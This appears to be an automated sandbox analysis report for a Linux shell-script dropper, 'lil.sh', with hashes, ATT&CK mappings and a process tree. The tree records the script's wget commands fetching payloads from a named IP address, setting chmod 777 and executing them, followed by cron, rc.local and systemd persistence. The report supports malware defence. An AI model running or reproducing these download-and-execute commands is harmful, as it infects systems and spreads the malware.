d14b8fd63a8933d814039d0c157abe3032fccb34143d8fd94532419dc8f993a5

Analysis

max time kernel
149s
max time network
140s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/07/2026, 01:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 840B
Sample260731-ccec5aah78
SHA256 d14b8fd63a8933d814039d0c157abe3032fccb34143d8fd94532419dc8f993a5
MD5 3e58340ba7997992f3273e691645b3d8
SHA1 914a8087c722571ddf0ac240179f33f714f7b2be
SHA512 b40527203f6d424ed6785c121772271c51d95e9b2be4bbc66b76e0892d3c3a307d59df7060a43465678bb0981f3fe7c0403285a0e68a1ffadc3b04101eef55b1
TLSH
T1BB01EFC6E210490080DED85C26A72455F431C3C7314B4F79FF6C943A9B94D14B0AAFA8
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
781	chmod
802	chmod
806	chmod
811	chmod
827	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/4hR	783	lil.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	4hR
File opened for modification	/etc/crontab	4hR

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	4hR

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	4hR

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	4hR

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/303/cmdline	4hR
File opened for reading	/proc/814/cmdline	4hR
File opened for reading	/proc/845/exe	4hR
File opened for reading	/proc/868/exe	4hR
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/6/cmdline	4hR
File opened for reading	/proc/567/cmdline	4hR
File opened for reading	/proc/643/cmdline	4hR
File opened for reading	/proc/810/cmdline	4hR
File opened for reading	/proc/814/exe	4hR
File opened for reading	/proc/902/exe	4hR
File opened for reading	/proc/843/cmdline	4hR
File opened for reading	/proc/18/cmdline	4hR
File opened for reading	/proc/21/cmdline	4hR
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/832/exe	4hR
File opened for reading	/proc/871/exe	4hR
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/298/exe	4hR
File opened for reading	/proc/41/cmdline	4hR
File opened for reading	/proc/845/cmdline	4hR
File opened for reading	/proc/863/cmdline	4hR
File opened for reading	/proc/892/cmdline	4hR
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/853/cmdline	4hR
File opened for reading	/proc/786/exe	4hR
File opened for reading	/proc/641/cmdline	4hR
File opened for reading	/proc/226/exe	4hR
File opened for reading	/proc/4/cmdline	4hR
File opened for reading	/proc/14/cmdline	4hR
File opened for reading	/proc/42/cmdline	4hR
File opened for reading	/proc/888/exe	4hR
File opened for reading	/proc/900/exe	4hR
File opened for reading	/proc/838/cmdline	4hR
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/7/cmdline	4hR
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/847/exe	4hR
File opened for reading	/proc/854/exe	4hR
File opened for reading	/proc/11/cmdline	4hR
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/849/exe	4hR
File opened for reading	/proc/634/exe	4hR
File opened for reading	/proc/3/cmdline	4hR
File opened for reading	/proc/8/cmdline	4hR
File opened for reading	/proc/15/cmdline	4hR
File opened for reading	/proc/586/cmdline	4hR
File opened for reading	/proc/820/cmdline	4hR
File opened for reading	/proc/284/exe	4hR
File opened for reading	/proc/633/exe	4hR
File opened for reading	/proc/315/cmdline	4hR
File opened for reading	/proc/835/exe	4hR
File opened for reading	/proc/835/cmdline	4hR
File opened for reading	/proc/851/exe	4hR
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/328/exe	4hR

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/4hR	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:644
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:646
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:651
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:656
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  PID:660
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  PID:665
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:671
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:673
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  PID:676
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/148/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/185/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/226/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/278/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/284/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/298/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/315/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/324/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/328/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/567/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/579/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  PID:733
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:734
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  PID:737
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:741
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:752
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:754
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:756
- /bin/rm
  rm -rf 4hR
  2⤵
  PID:759
- /usr/bin/wget
  wget http://129.121.110.105/4hR
  2⤵
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 4hR
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/4hR
  ./4hR lilin
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:783
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    PID:801
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- /bin/rm
  rm -rf V9G
  2⤵
  PID:788
- /usr/bin/wget
  wget http://129.121.110.105/V9G
  2⤵
  PID:799
- /bin/chmod
  chmod 777 V9G
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/V9G
  ./V9G lilin
  2⤵
  PID:803
- /bin/rm
  rm -rf aaaE
  2⤵
  PID:804
- /usr/bin/wget
  wget http://129.121.110.105/aaaE
  2⤵
  PID:805
- /bin/chmod
  chmod 777 aaaE
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/aaaE
  ./aaaE lilin
  2⤵
  PID:808
- /bin/rm
  rm -rf mmo
  2⤵
  PID:809
- /usr/bin/wget
  wget http://129.121.110.105/mmo
  2⤵
  PID:810
- /bin/chmod
  chmod 777 mmo
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/mmo
  ./mmo lilin
  2⤵
  PID:818
- /bin/rm
  rm -rf CZk
  2⤵
  PID:819
- /usr/bin/wget
  wget http://129.121.110.105/CZk
  2⤵
  PID:823
- /bin/chmod
  chmod 777 CZk
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/CZk
  ./CZk lilin
  2⤵
  PID:828
- /bin/rm
  rm -rf lil
  2⤵
  PID:829

/sbin/systemctl
systemctl daemon-reload
1⤵
PID:800

/bin/systemctl
systemctl daemon-reload
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 d5e174ee917699fa78ed4a1b199868e55e5abd82054edeec9275d735580c1d8d
MD5 8aa2d29497c209ed1034f8803ad25605
SHA1 e3e2414208147a33815b709b365b0a0ed5d9360d
SHA512 abe887634d3c543438ae6bc138e07f18a0d850e5439abb94c06bcf1cf6ce8b689cb78601c9187869616c627ace4607c63106b00070989b29bbc80715660dc512
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 e89f279ca93603d5167c943249dc2b23a3523ab73fab0655087c3eb01f0ed5b7
MD5 07e923c70831fc148d2377d6e3ccc2bb
SHA1 f4426655165939cf6e3f9fa51eff8abdefe2fe26
SHA512 910285b148e797d44b699e48340b4f871568fedddb62ef3a2d7b777acdc220b15c26a19a3ccf6427bd70c201171e9c9c88f483cc785a7bad6910493dd23e9ac0
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 129eff80eeec6e588ccc05ebbfa63951cd5c8f6b5dadf0358798b969bfe5f9ed
MD5 7a2bbf2ab3db1ca90b72450e104570e2
SHA1 f1961809e9b98eb4b4e0ce9dc973ae468b09b410
SHA512 93ba490251e951516f97e059a6e5608c236a5af8173f6e55980836aaf6f1f3e2c17b3a689f2c993991c2076affaea1e1d66c99c4d74b858878e663836c3bd479
TLSH
T175C0231365221490494F25615D9617448C61010016CFA170079014151DF10E711218AE
MD5 SHA1 SHA512 TLSH

Submit Download

4hR

Path /tmp/4hR
Size 70KB
SHA256 c70b4b289425d42a082b20f0f8cef59126f2bff80720811c21f33ee66da644f5
MD5 f46baeac4e46f7440cf1e8c7cfe54d3c
SHA1 77de757ca5ec5a22332edaf51cca1cd144190393
SHA512 40cd3087ee34a3a1de66167f9a5f8571996d76413090b623df3da5f2ecd33202effa7bb7cc1284efc0b37b71467c47f345924599c3b4c5922cf8a46d19f081bb
SSDEEP 1536:22ELsQTTvjGZc6QYMdKkhrUBLeJHlI8YQAZc42xFLDEoX7wn07Ge:22ELHTTCUGkhUBCJFIASP0FLDEA7E
TLSH
T1EE633B66B8419F16C6C11777FF1E8389332763E8E3DA7213DA152F5A33CB41A0E2A551
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads